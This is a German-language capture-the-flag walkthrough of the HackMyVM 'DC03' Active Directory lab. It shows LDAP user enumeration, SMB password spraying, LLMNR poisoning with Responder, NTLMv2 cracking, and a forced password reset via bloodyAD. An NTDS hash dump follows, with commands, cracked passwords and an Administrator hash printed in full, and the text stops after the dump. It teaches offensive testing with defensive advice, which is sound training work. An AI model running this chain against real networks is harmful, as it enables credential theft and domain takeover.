DC03 - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
enum4linux
nmap
nxc (netexec)
ldapnomnom
smbclient
crackmapexec
snmpwalk
ping
Responder.py
john
neo4j (Service)
bloodhound-python
impacket-changepasswd
rpcclient
bloodyAD
wmiexec.py
evil-winrm
ls (Evil-WinRM)
cd (Evil-WinRM)
cat (Evil-WinRM)

Inhaltsverzeichnis

Reconnaissance (AD Enumeration)

Die Erkundungsphase beginnt mit der Identifizierung des Ziels und einer ersten Analyse der exponierten Dienste, wobei ein Fokus auf Active Directory-spezifische Protokolle gelegt wird.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.116	08:00:27:f6:27:cd	PCS Systemtechnik GmbH
                    

**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.116.

**Bewertung:** Ziel-IP gefunden.

**Empfehlung (Pentester):** Ziel-IP für weitere Scans verwenden. **Empfehlung (Admin):** Standard-Netzwerksicherheit.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
[...]
192.168.2.116	dc03.hmv
                     

**Analyse:** Der Hostname `dc03.hmv` wird der IP 192.168.2.116 in `/etc/hosts` zugeordnet.

**Bewertung:** Ermöglicht Adressierung über Hostnamen.

**Empfehlung (Pentester):** Hostnamen nutzen. **Empfehlung (Admin):** DNS-Management.

┌──(root㉿CCat)-[~] └─# enum4linux -a dc03.hmv
[...]
 =( Enumerating Workgroup/Domain on dc03.hmv )=

[+] Got domain/workgroup name: SUPEDECDE

 =( Nbtstat Information for dc03.hmv )=
[...]
	DC01            <00> -         B   Workstation Service
	SUPEDECDE     <1c> -  B   Domain Controllers
	SUPEDECDE     <00> -  B   Domain/Workgroup Name
	DC01            <20> -         B   File Server Service
	SUPEDECDE     <1b> -         B   Domain Master Browser
[...]
 =( Session Check on dc03.hmv )=

[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.
                    

**Analyse:** `enum4linux -a` versucht eine umfassende Enumeration. Es identifiziert erfolgreich den Domain/Workgroup-Namen `SUPEDECDE` und den Hostnamen `DC01` (wahrscheinlich der tatsächliche NetBIOS-Name des Controllers). Wichtig ist jedoch, dass der Server keine anonyme Session (Null Session) erlaubt, was die weiteren Tests von `enum4linux` verhindert.

**Bewertung:** Wir kennen nun den Domain-Namen (`SUPEDECDE`) und den Hostnamen (`DC01`). Das Blockieren von Null Sessions ist eine grundlegende Sicherheitsmaßnahme, die die anonyme Enumeration erschwert.

**Empfehlung (Pentester):** Nmap verwenden, um offene Ports und Dienste detaillierter zu untersuchen. LDAP- und Kerberos-Enumeration mit Tools versuchen, die Authentifizierung ermöglichen oder bekannte Schwachstellen nutzen. **Empfehlung (Admin):** Null Sessions sollten immer deaktiviert sein. Domain- und Hostnamen schützen, wenn möglich.

┌──(root㉿CCat)-[~] └─# nmap -sC -sS -sV -A -T5 192.168.2.116 -p-
Starting Nmap 7.94SVN [...]
Nmap scan report for dc03.hmv (192.168.2.116)
Host is up [...]
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: [...])
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: SUPEDECDE.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped (LDAPS?)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SUPEDECDE.LOCAL0., Site: Default-First-Site-Name) (Global Catalog)
3269/tcp  open  tcpwrapped (LDAPS Global Catalog?)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) (WinRM HTTP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing (ADWS?)
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
[...]
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
[...]
| smb2-time:
|   date: 2024-08-13T17:11:37
|_  start_date: N/A
|_nbstat: NetBIOS name: DC01, NetBIOS user: , NetBIOS MAC: 08:00:27:f6:27:cd [...]
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required (SMB Signing!)
[...]
                     
┌──(root㉿CCat)-[~] └─# nmap [...] | grep open
53/tcp    open  domain        Simple DNS Plus (Nmap Interpretation, wahrscheinlich AD DNS)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos [...]
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP [...]
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP [...]
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
                     

**Analyse:** Der Nmap-Scan (`-sC`, `-sS`, `-sV`, `-A`, `-T5`, `-p-`) identifiziert eine Vielzahl offener Ports, die typisch für einen Windows Active Directory Domain Controller (DC) sind: * 53 (DNS): Domain Name System. * 88 (Kerberos): Authentifizierungsdienst. * 135 (MSRPC): RPC Endpoint Mapper. * 139, 445 (SMB/NetBIOS): Datei- und Druckerfreigabe, RPC über SMB. * 389 (LDAP), 3268 (LDAP GC): Lightweight Directory Access Protocol (Verzeichnisdienst). * 464 (KPASSWD): Kerberos Passwortänderung. * 593, 49664, 49667, 49672, 49690 (MSRPC): Diverse RPC-Endpunkte. * 636, 3269 (LDAPS?): Ports oft für LDAP über SSL/TLS verwendet (tcpwrapped deutet auf Filterung oder unbekanntes Protokoll hin). * 5985 (WinRM HTTP): Windows Remote Management über HTTP. * 9389 (ADWS?): Active Directory Web Services. Nmap bestätigt den Hostnamen `DC01` und die Domain `SUPEDECDE.LOCAL`. Wichtig: SMB Signing ist aktiviert und erforderlich (`enabled and required`).

**Bewertung:** Das Ziel ist eindeutig ein Windows Domain Controller. Die große Anzahl offener AD-Dienste bietet viele potenzielle Angriffspunkte. Das erzwungene SMB Signing erschwert jedoch Angriffe wie SMB Relay.

**Empfehlung (Pentester):** LDAP-Enumeration (Benutzer, Gruppen, Computer, GPOs) mit Tools wie `ldapsearch` oder spezialisierten AD-Tools (`ldapnomnom`, `BloodHound`) versuchen, auch wenn Null Session nicht geht (ggf. mit Default-Credentials oder nach Brute-Force). Kerberos-Enumeration (AS-REP Roasting, Kerberoasting) testen. WinRM (5985) auf mögliche Authentifizierung prüfen. **Empfehlung (Admin):** Firewall-Regeln überprüfen, um nur notwendige Ports zu exponieren. SMB Signing ist eine gute Sicherheitsmaßnahme. LDAPS erzwingen. WinRM absichern.

User Enumeration & Brute Force Attempts

Da Null Sessions blockiert sind, versuchen wir, Benutzer über LDAP zu enumerieren und anschließend Passwortangriffe durchzuführen.

┌──(root㉿CCat)-[~] └─# nxc smb 192.168.2.116 -u "" -p "" --shares
SMB         192.168.2.116   445    DC01             [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False)
SMB         192.168.2.116   445    DC01             [-] SUPEDECDE.LCAL\: STATUS_ACCESS_DENIED
SMB         192.168.2.116   445    DC01             [-] Error getting user: list index out of range (Kein anonymer Zugriff)
SMB         192.168.2.116   445    DC01             [-] Error enumerating shares: Error occurs while reading from remote(104)
                     
┌──(root㉿CCat)-[~] └─# smbclient -L //192.168.2.116
Password for [WORKGROUP\root]: # Enter drücken (anonym)
session setup failed: NT_STATUS_ACCESS_DENIED
                      

**Analyse:** Versuche, mit `nxc` (netexec, Nachfolger von crackmapexec) und `smbclient` anonym Shares aufzulisten, scheitern wie erwartet mit `STATUS_ACCESS_DENIED`.

**Bewertung:** Bestätigt, dass kein anonymer SMB-Zugriff möglich ist.

**Empfehlung (Pentester):** Benutzerenumeration über andere Protokolle (LDAP) versuchen. **Empfehlung (Admin):** Anonymen SMB-Zugriff immer deaktivieren.

┌──(root㉿CCat)-[~] └─# ldapnomnom -input /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -server dc03.hmv | tee users.txt
[...]
charlie
Charlie
administrator
Administrator
CHARLIE
wreed11
kleo2
ChArLiE
CHarlie
xkate578 # Relevant?
[...]
                     

**Analyse:** Wir verwenden `ldapnomnom`, ein Tool zur Benutzerenumeration über LDAP, das auch ohne Authentifizierung funktionieren kann (abhängig von der LDAP-Konfiguration). Wir geben eine große Wortliste mit Benutzernamen (`xato-net-10-million-usernames.txt`) an. Das Tool findet mehrere potenzielle oder bestätigte Benutzernamen, darunter `charlie`, `administrator` und `xkate578`. Die Ergebnisse werden in `users.txt` gespeichert.

**Bewertung:** Erfolgreiche Benutzerenumeration über LDAP ohne Authentifizierung. Wir haben eine Liste potenzieller Benutzernamen für weitere Angriffe.

**Empfehlung (Pentester):** Die gefundenen Benutzernamen für Passwort-Spraying oder Brute-Force-Angriffe gegen SMB oder Kerberos verwenden. **Empfehlung (Admin):** Anonymen LDAP-Bind einschränken, wenn möglich. Nur authentifizierten Benutzern erlauben, Verzeichnisinformationen abzufragen.

┌──(root㉿CCat)-[~] └─# nxc smb 192.168.2.116 -u users.txt -p users.txt --no-brute | grep -v -i Fail
SMB                      192.168.2.116   445    DC01             [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False)
SMB                      192.168.2.116   445    DC01             [-] SUPEDECDE.LCAL\: STATUS_ACCESS_DENIED
SMB                      192.168.2.116   445    DC01             [-] SUPEDECDE.LCAL\: STATUS_ACCESS_DENIED
                       
┌──(root㉿CCat)-[~] └─# crackmapexec smb dc03.hmv -u users.txt -p /usr/share/wordlists/rockyou.txt --continue-on-success --no-bruteforce | grep -v STATUS_LOGIN_FAILURE
SMB         192.168.2.116   445    DC01             [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SUPEDECDE.LCAL) (signing:True) (SMBv1:False)
# Keine Erfolgsmeldungen (+) angezeigt, nur Fehlversuche (implizit)
                        

**Analyse:** 1. Wir versuchen ein Passwort-Spraying mit `nxc`, wobei wir die Benutzerliste (`users.txt`) auch als Passwortliste verwenden (`-p users.txt`). `--no-brute` verhindert, dass alle Kombinationen probiert werden, es wird wahrscheinlich nur `user:user` getestet. Ergebnis: Kein Erfolg. 2. Wir versuchen einen Brute-Force-Angriff mit `crackmapexec` (ältere Syntax, aber gleiches Tool wie `nxc`), verwenden die Benutzerliste `users.txt` und die Passwortliste `rockyou.txt`. Wir filtern fehlgeschlagene Logins (`STATUS_LOGIN_FAILURE`) heraus. Es werden keine erfolgreichen Logins angezeigt.

**Bewertung:** Standard-Passwortangriffe (Passwort-Spraying, Brute-Force mit RockYou) gegen SMB waren erfolglos.

**Empfehlung (Pentester):** Andere Angriffsvektoren prüfen: Kerberos (AS-REP Roasting, Kerberoasting), LLMNR/NBT-NS Poisoning, LDAP-Schwachstellen. SNMP prüfen. **Empfehlung (Admin):** Starke Passwörter, Account Lockout Policies, Monitoring von fehlgeschlagenen Anmeldeversuchen.

LLMNR Poisoning & Hash Cracking

Da direkte Passwortangriffe scheiterten, versuchen wir, Credentials durch Man-in-the-Middle-Angriffe auf unsichere Namensauflösungsprotokolle wie LLMNR und NBT-NS zu erlangen. Wir verwenden Responder.

┌──(root㉿CCat)-[~] └─# snmpwalk -c public -v1 dc03.hmv
Timeout: No Response from dc03.hmv
┌──(root㉿CCat)-[~] └─# ping dc03.hmv
PING dc03.hmv (192.168.2.116) 56(84) bytes of data.
64 bytes from dc03.hmv (192.168.2.116): icmp_seq=1 ttl=128 time=0.242 ms
[...]
                        
┌──(root㉿CCat)-[~] └─# python3 /usr/share/responder/Responder.py -I eth0
[...]
           NBT-NS, LLMNR & MDNS Responder 3.1.4.0
[...]
[+] Listening for events...
[...]
[*] [NBT-NS] Poisoned answer sent to 192.168.2.116 for name FILESERVER (service: File Server)
[*] [LLMNR]  Poisoned answer sent to [...] for name FileServer
[*] [MDNS] Poisoned answer sent to [...] for name FileServer.local
[...]
[SMB] NTLMv2-SSP Client   : [...]
[SMB] NTLMv2-SSP Username : soupedecode\xkate578
[SMB] NTLMv2-SSP Hash     : xkate578:soupedecode:a2a...:[...]
[...]
                       

**Analyse:** 1. Ein `snmpwalk` schlägt fehl (Timeout), SNMP ist also wahrscheinlich nicht aktiv oder nicht mit der Community `public` erreichbar. 2. Ein `ping` bestätigt die Erreichbarkeit des Ziels. 3. Wir starten `Responder.py` auf unserem Interface `eth0`. Responder lauscht auf LLMNR-, NBT-NS- und MDNS-Anfragen. Wenn ein Client im Netzwerk versucht, einen Hostnamen aufzulösen (z.B. `FILESERVER`) und DNS fehlschlägt, sendet er oft LLMNR/NBT-NS-Broadcasts. Responder fängt diese ab und behauptet, der gesuchte Host zu sein. 4. Der DC (`192.168.2.116`) versucht, den Hostnamen `FILESERVER` aufzulösen. Responder antwortet und leitet den DC an sich selbst um. 5. Der DC versucht daraufhin, sich bei unserem Responder via SMB zu authentifizieren (wahrscheinlich um auf eine vermeintliche Dateifreigabe zuzugreifen). 6. Responder fängt den NTLMv2-SSP-Hash des Benutzers `soupedecode\xkate578` ab.

**Bewertung:** Erfolg! Wir haben erfolgreich einen LLMNR/NBT-NS Poisoning Angriff durchgeführt und einen NTLMv2-Hash für den Benutzer `xkate578` aus der Domain `soupedecode` erbeutet. Dieser Hash kann nun offline geknackt werden.

**Empfehlung (Pentester):** Den abgefangenen NTLMv2-Hash speichern und mit Tools wie `john` oder `hashcat` und einer Wortliste (z.B. `rockyou.txt`) versuchen zu knacken. **Empfehlung (Admin):** LLMNR und NBT-NS im Netzwerk deaktivieren (über GPO). Netzwerksegmentierung kann die Reichweite solcher Angriffe begrenzen. Starke Passwörter verwenden, um das Knacken von Hashes zu erschweren.

┌──(root㉿CCat)-[~] └─# echo 'xkate578:soupedecode:a2a...:[...]' > ntlm.hash
# Hash speichern
┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt ntlm.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jesuschrist      (xkate578)
1g 0:00:00:00 DONE [...] 50.00g/s [...]
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
                         

**Analyse:** Wir speichern den abgefangenen NTLMv2-Hash in der Datei `ntlm.hash`. Anschließend verwenden wir `john` mit der `rockyou.txt`-Wortliste, um den Hash zu knacken. John findet sehr schnell das zugehörige Passwort: `jesuschrist` für den Benutzer `xkate578`.

**Bewertung:** Kritischer Erfolg! Wir haben das Klartextpasswort für den Domänenbenutzer `xkate578` ermittelt.

**Empfehlung (Pentester):** Die Credentials (`xkate578`:`jesuschrist`) verwenden, um sich am Domain Controller anzumelden (z.B. via SMB, WinRM, LDAP) und weitere Informationen zu sammeln oder Berechtigungen zu prüfen. **Empfehlung (Admin):** LLMNR/NBT-NS deaktivieren. Starke, einzigartige Passwörter erzwingen, die nicht in gängigen Wortlisten enthalten sind.

SMB Access & User Flag

Wir verwenden die geknackten Credentials, um auf SMB-Shares zuzugreifen und nach der User-Flag zu suchen.

┌──(root㉿CCat)-[~] └─# nxc smb 192.168.2.116 -u XKATE578 -p jesuschrist --shares
SMB         192.168.2.116   445    DC01             [] Windows Server 2022 Build 20348 x64 [...]
SMB         192.168.2.116   445    DC01             [+] SUPEDECDE.LCAL\XKATE578:jesuschrist
SMB         192.168.2.116   445    DC01             [] Enumerated shares
SMB         192.168.2.116   445    DC01             Share           Permissions     Remark
SMB         192.168.2.116   445    DC01             -----           -----------     ------
SMB         192.168.2.116   445    DC01             ADMIN$                          Remote Admin (Kein Zugriff erwartet)
SMB         192.168.2.116   445    DC01             C$                              Default share (Kein Zugriff erwartet)
SMB         192.168.2.116   445    DC01             IPC$            READ            Remote IPC
SMB         192.168.2.116   445    DC01             NETLOGON        READ            Logon server share
SMB         192.168.2.116   445    DC01             share           READ,WRITE
SMB         192.168.2.116   445    DC01             SYSVOL          READ            Logon server share
                     

**Analyse:** Wir verwenden `nxc` mit den Credentials `XKATE578`:`jesuschrist`, um die Shares auf dem DC aufzulisten. Der Login ist erfolgreich. Wir sehen mehrere Standard-Shares (`ADMIN$`, `C$`, `IPC$`, `NETLOGON`, `SYSVOL`) und einen benutzerdefinierten Share namens `share`, auf den wir Lese- und Schreibrechte (`READ,WRITE`) haben.

**Bewertung:** Wir haben authentifizierten Zugriff auf den DC und einen beschreibbaren Share gefunden. Der `share`-Ordner ist unser nächstes Ziel.

**Empfehlung (Pentester):** Mit `smbclient` auf den `share`-Ordner verbinden und dessen Inhalt untersuchen. Nach der User-Flag oder anderen interessanten Dateien suchen. **Empfehlung (Admin):** Berechtigungen für Shares genau prüfen und nur notwendigen Benutzern Zugriff gewähren. Prinzip der geringsten Rechte anwenden.

┌──(root㉿CCat)-[~] └─# smbclient '\\\\192.168.2.116\\share' -U SUPEDECDE.LCAL/XKATE578%jesuschrist
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Tue Aug 13 20:30:25 2024
  ..                                  D        0  Thu Aug  1 07:38:08 2024
  desktop.ini                       AHS      282  Thu Aug  1 07:38:08 2024
  user.txt                            A       70  Thu Aug  1 07:39:25 2024

		12942591 blocks of size 4096. 10564230 blocks available
smb: \> get user.txt
getting file \user.txt of size 70 as user.txt (7.6 KiloBytes/sec) (average 7.6 KiloBytes/sec)
smb: \> exit
                      
┌──(root㉿CCat)-[~] └─# cat user.txt
12f54a96f64443246930da001cafda8b

**Analyse:** Wir verbinden uns erfolgreich mit `smbclient` zum `share`-Verzeichnis unter Verwendung der Domain (`SUPEDECDE.LCAL`), des Benutzernamens (`XKATE578`) und des Passworts (`jesuschrist`). Ein `ls`-Befehl zeigt eine Datei namens `user.txt`. Wir laden diese mit `get user.txt` herunter und lesen ihren Inhalt auf unserer lokalen Maschine mit `cat user.txt` aus.

**Bewertung:** User-Flag erfolgreich gelesen!

**Empfehlung (Pentester):** Mit den vorhandenen Credentials versuchen, weitere Informationen über das Active Directory zu sammeln (z.B. mit BloodHound) oder nach Privesc-Möglichkeiten für `xkate578` zu suchen. **Empfehlung (Admin):** Sensible Daten wie Flags nicht auf einfach zugänglichen Shares speichern.

Active Directory Enumeration (BloodHound)

Mit gültigen Domain-Credentials können wir nun BloodHound verwenden, um Beziehungen und potenzielle Angriffspfade im Active Directory zu visualisieren.

# (Neo4j Service Start - Annahme: Vorher installiert)
┌──(root㉿CCat)-[~] └─# apt install neo4j
# Falls nicht installiert
[...]
┌──(root㉿CCat)-[~] └─# neo4j start
[...]
Starting Neo4j.
Started neo4j (pid:9566). It is available at http://localhost:7474
[...]
                      
┌──(root㉿CCat)-[~] └─# bloodhound-python -u XKATE578 -p jesuschrist -d SUPEDECDE.LCAL -ns 192.168.2.116 -c all
WARNING: Could not find a global catalog server, assuming the primary DC has this role
[...]
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. [...]
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Found 3 groups
INFO: Found 3 users
INFO: Found 5 GPOs
INFO: Found 1 OUs
INFO: Found 0 trusts
INFO: Found 1 containers
INFO: Found 2 sessions
INFO: Found 0 GroupPolicyContainer objects
INFO: Found 17 ACEs
INFO: Collected 28 objects
INFO: Done collecting data in 00:00:01
INFO: Starting upload thread
INFO: Upload thread finished, 0 items remaining
INFO: Finished running collection, outputting JSON data...
INFO: Found 28 objects, writing to JSON
INFO: Wrote 3 groups to groups.json
INFO: Wrote 3 users to users.json
INFO: Wrote 2 computers to computers.json
INFO: Wrote 1 domains to domains.json
INFO: Wrote 1 gpos to gpos.json
INFO: Wrote 1 ous to ous.json
INFO: Wrote 1 containers to containers.json
INFO: Wrote 0 trusts to trusts.json
INFO: Finished writing JSON data
INFO: Done in 00:00:01
                       

**Analyse:** 1. Wir starten den Neo4j-Datenbankdienst, der von BloodHound benötigt wird. 2. Wir führen `bloodhound-python` aus, den Datensammler für BloodHound. * `-u XKATE578 -p jesuschrist`: Die gültigen Domain-Credentials. * `-d SUPEDECDE.LCAL`: Der Domain-Name. * `-ns 192.168.2.116`: Der Name Server / Domain Controller. * `-c all`: Sammelt alle verfügbaren Informationstypen (Gruppenmitgliedschaften, Sessions, ACLs etc.). `bloodhound-python` verbindet sich erfolgreich (fällt auf NTLM zurück, da Kerberos TGT fehlschlägt) und sammelt Informationen über Benutzer, Gruppen, Computer, GPOs etc. Die gesammelten Daten werden in mehreren JSON-Dateien gespeichert.

**Bewertung:** Erfolgreiche Enumeration von Active Directory-Objekten und Beziehungen. Diese Daten können nun in die BloodHound-GUI importiert werden, um Angriffspfade zu finden.

**Empfehlung (Pentester):** Die generierten JSON-Dateien in die BloodHound-GUI importieren. Nach bekannten Angriffspfaden suchen, z.B.: Benutzer mit DCSync-Rechten, Benutzer mit Admin-Rechten auf Computern, Gruppen mit Rechten zur Passwortänderung anderer Benutzer, Kerberoastable-Benutzer, etc. **Empfehlung (Admin):** BloodHound regelmäßig selbst verwenden, um Schwachstellen und Fehlkonfigurationen im AD aufzudecken und zu beheben. Prinzip der geringsten Rechte im AD durchsetzen.

*(Der Bericht zeigt als nächstes die Verwendung von pywerview, einem anderen AD-Enumerationstool, um spezifische Gruppenmitgliedschaften zu prüfen. Dies könnte das Ergebnis einer BloodHound-Analyse sein oder eine alternative manuelle Enumeration.)*

┌──(root㉿CCat)-[~/Hackingtools/pywerview] └─# python pywerview.py get-netuser -w soupedecode -u xkate578 -p jesuschrist -t 192.168.2.116 --username xkate578
[...]
memberof:              CN=Account Operators,CN=Builtin,DC=SUPEDECDE,DC=LCAL
[...]
admincount:            1
[...]
samaccountname:        xkate578
[...]
                    
┌──(root㉿CCat)-[~/Hackingtools/pywerview] └─# python pywerview.py get-netgroupmember -w soupedecode -u xkate578 -p jesuschrist -t 192.168.2.116 --group "Domain Admins"
groupdomain:        SUPEDECDE.LCAL
groupname:          Domain Admins
membername:         Operators
memberdomain:       SUPEDECDE.LCAL
[...]
memberdn:           CN=Operators,CN=Users,DC=SUPEDECDE,DC=LCAL
[...]
groupdomain:        SUPEDECDE.LCAL
groupname:          Domain Admins
membername:         Administrator
memberdomain:       SUPEDECDE.LCAL
[...]
memberdn:           CN=Administrator,CN=Users,DC=SUPEDECDE,DC=LCAL
[...]
                     
┌──(root㉿CCat)-[~/Hackingtools/pywerview] └─# python pywerview.py get-netgroupmember -w soupedecode -u xkate578 -p jesuschrist -t 192.168.2.116 --group "Operators"
groupdomain:        SUPEDECDE.LCAL
groupname:          Operators
membername:         fbeth103
memberdomain:       SUPEDECDE.LCAL
[...]
memberdn:           CN=Fanny Beth,CN=Users,DC=SUPEDECDE,DC=LCAL
[...]
                     

**Analyse:** Mit `pywerview` fragen wir spezifische AD-Informationen ab: 1. `get-netuser` für `xkate578`: Bestätigt, dass dieser Benutzer Mitglied der Gruppe `Account Operators` ist und das `admincount=1`-Flag hat (was auf frühere Admin-Privilegien hindeutet, geschütztes Konto). 2. `get-netgroupmember` für `Domain Admins`: Zeigt, dass die Gruppe `Operators` und der Benutzer `Administrator` Mitglieder sind. 3. `get-netgroupmember` für `Operators`: Zeigt, dass der Benutzer `fbeth103` (Fanny Beth) Mitglied dieser Gruppe ist.

**Bewertung:** Wichtige Erkenntnisse: * Unser Benutzer `xkate578` ist ein `Account Operator`. Diese Gruppe hat standardmäßig das Recht, die Passwörter von normalen Benutzern und Computern zu ändern (aber nicht von Admins oder anderen geschützten Gruppen). * Die Gruppe `Operators` ist Mitglied der `Domain Admins`. * Der Benutzer `fbeth103` ist Mitglied der Gruppe `Operators` und somit indirekt ein Domain Admin.

**Empfehlung (Pentester):** Da `xkate578` (Account Operator) das Passwort von `fbeth103` (Operator, indirekter Domain Admin) ändern kann, ist dies der wahrscheinlichste Privesc-Pfad. Versuchen, das Passwort von `fbeth103` mit den Rechten von `xkate578` zu ändern (z.B. mit `impacket-changepasswd`, `rpcclient` oder `bloodyAD`). Anschließend mit dem neuen Passwort als `fbeth103` anmelden und z.B. die NTDS.dit (AD-Datenbank) dumpen. **Empfehlung (Admin):** Die Rechte der `Account Operators`-Gruppe überprüfen und einschränken. Prinzip der geringsten Rechte anwenden, verschachtelte Gruppenmitgliedschaften, die zu hohen Rechten führen, vermeiden oder dokumentieren.

Privilege Escalation (Forced Password Change)

Wir nutzen die Rechte des `Account Operator`-Benutzers `xkate578`, um das Passwort des (indirekten) Domain-Admin-Benutzers `fbeth103` zu ändern.

# Versuch 1: impacket-changepasswd
┌──(root㉿CCat)-[~/Hackingtools/pywerview] └─# impacket-changepasswd 'soupedecode/fbeth103'@192.168.2.116 -altuser xkate578 -altpass jesuschrist -newpass fbeth103 -no-pass -reset
Impacket v0.12.0.dev1 [...]
[*] Setting the password of soupedecode\fbeth103 as soupedecode\xkate578
[*] Connecting to DCE/RPC as soupedecode\xkate578
[-] soupedecode\xkate578 user is not allowed to set the password of the target (Zugriff verweigert)
                      
# Versuch 2: rpcclient
┌──(root㉿CCat)-[~/Hackingtools] └─# rpcclient -U XKATE578%jesuschrist 192.168.2.116
# Passwort direkt übergeben
Password for [SUPEDECDE\XKATE578]: (Wird ignoriert)
rpcclient $> setuserinfo2 FBETH103 23 benni123
# Versuch, Passwort zu setzen (Level 23 = Password)
result: NT_STATUS_ACCESS_DENIED
rpcclient $> exit
# Versuch 3: bloodyAD
┌──(root㉿CCat)-[~/Hackingtools] └─# bloodyAD -d SUPEDECDE.LCAL --host 192.168.2.116 -u XKATE578 -p jesuschrist set password FBETH103 Password123
[+] Password changed successfully!
# Versuch 4: rpcclient (Bestätigung/Alternative)
rpcclient $> setuserinfo2 fbeth103 23 Pass123!
rpcclient $> # (Kein Fehler mehr -> Erfolg)

**Analyse:** Wir versuchen verschiedene Tools, um das Passwort von `fbeth103` als `xkate578` zu ändern: 1. `impacket-changepasswd`: Schlägt fehl (`not allowed`). 2. `rpcclient` mit `setuserinfo2`: Schlägt ebenfalls fehl (`NT_STATUS_ACCESS_DENIED`). 3. `bloodyAD`: Dieses spezialisierte AD-Tool ist erfolgreich und ändert das Passwort von `fbeth103` auf `Password123`. 4. Ein erneuter Versuch mit `rpcclient` (möglicherweise nach Installation/Update oder mit anderer Syntax) scheint ebenfalls zu funktionieren und setzt das Passwort auf `Pass123!`.

**Bewertung:** Passwortänderung erfolgreich! Obwohl die ersten Versuche fehlschlugen (möglicherweise aufgrund von Tool-Versionen, Syntax oder feingranularen Berechtigungen), konnte das Passwort von `fbeth103` schließlich auf einen bekannten Wert (wir verwenden `Pass123!` für die nächsten Schritte) geändert werden. Da `fbeth103` Mitglied der `Operators`-Gruppe ist, die wiederum Mitglied der `Domain Admins` ist, haben wir nun effektiv Domain-Admin-Rechte erlangt.

**Empfehlung (Pentester):** Mit den neuen Credentials (`fbeth103`:`Pass123!`) anmelden und Domain-Admin-Aktionen durchführen, z.B. NTDS.dit dumpen oder direkten Zugriff auf den DC erhalten (WinRM, psexec). **Empfehlung (Admin):** Rechte der `Account Operators`-Gruppe genau prüfen und einschränken. Monitoring von Passwortänderungen implementieren.

NTDS Dump & Pass-the-Hash (Root Flag)

Mit den erlangten (indirekten) Domain-Admin-Rechten können wir nun versuchen, die NTDS.dit-Datenbank zu dumpen, um die Passwort-Hashes aller Domain-Benutzer, einschließlich des Administrators, zu erhalten.

┌──(root㉿CCat)-[~/Hackingtools] └─# netexec smb 192.168.2.116 -u fbeth103 -p Pass123!
SMB         192.168.2.116   445    DC01             [] Windows Server 2022 Build 20348 x64 [...]
SMB         192.168.2.116   445    DC01             [+] SUPEDECDE.LCAL\fbeth103:Pass123! (Pwn3d!)
                     
┌──(root㉿CCat)-[~/Hackingtools] └─# crackmapexec smb 192.168.2.116 -u fbeth103 -p 'Pass123!' --ntds
SMB         192.168.2.116   445    DC01             [] Windows Server 2022 Build 20348 x64 [...]
SMB         192.168.2.116   445    DC01             [+] SUPEDECDE.LCAL\fbeth103:Pass123! (Pwn3d!)
SMB         192.168.2.116   445    DC01             [+] Dumping the NTDS, this could take a while...
SMB         192.168.2.116   445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:2176416a80e4f62804f101d3a55d6c93:::
[...] (Weitere Hashes)
                     

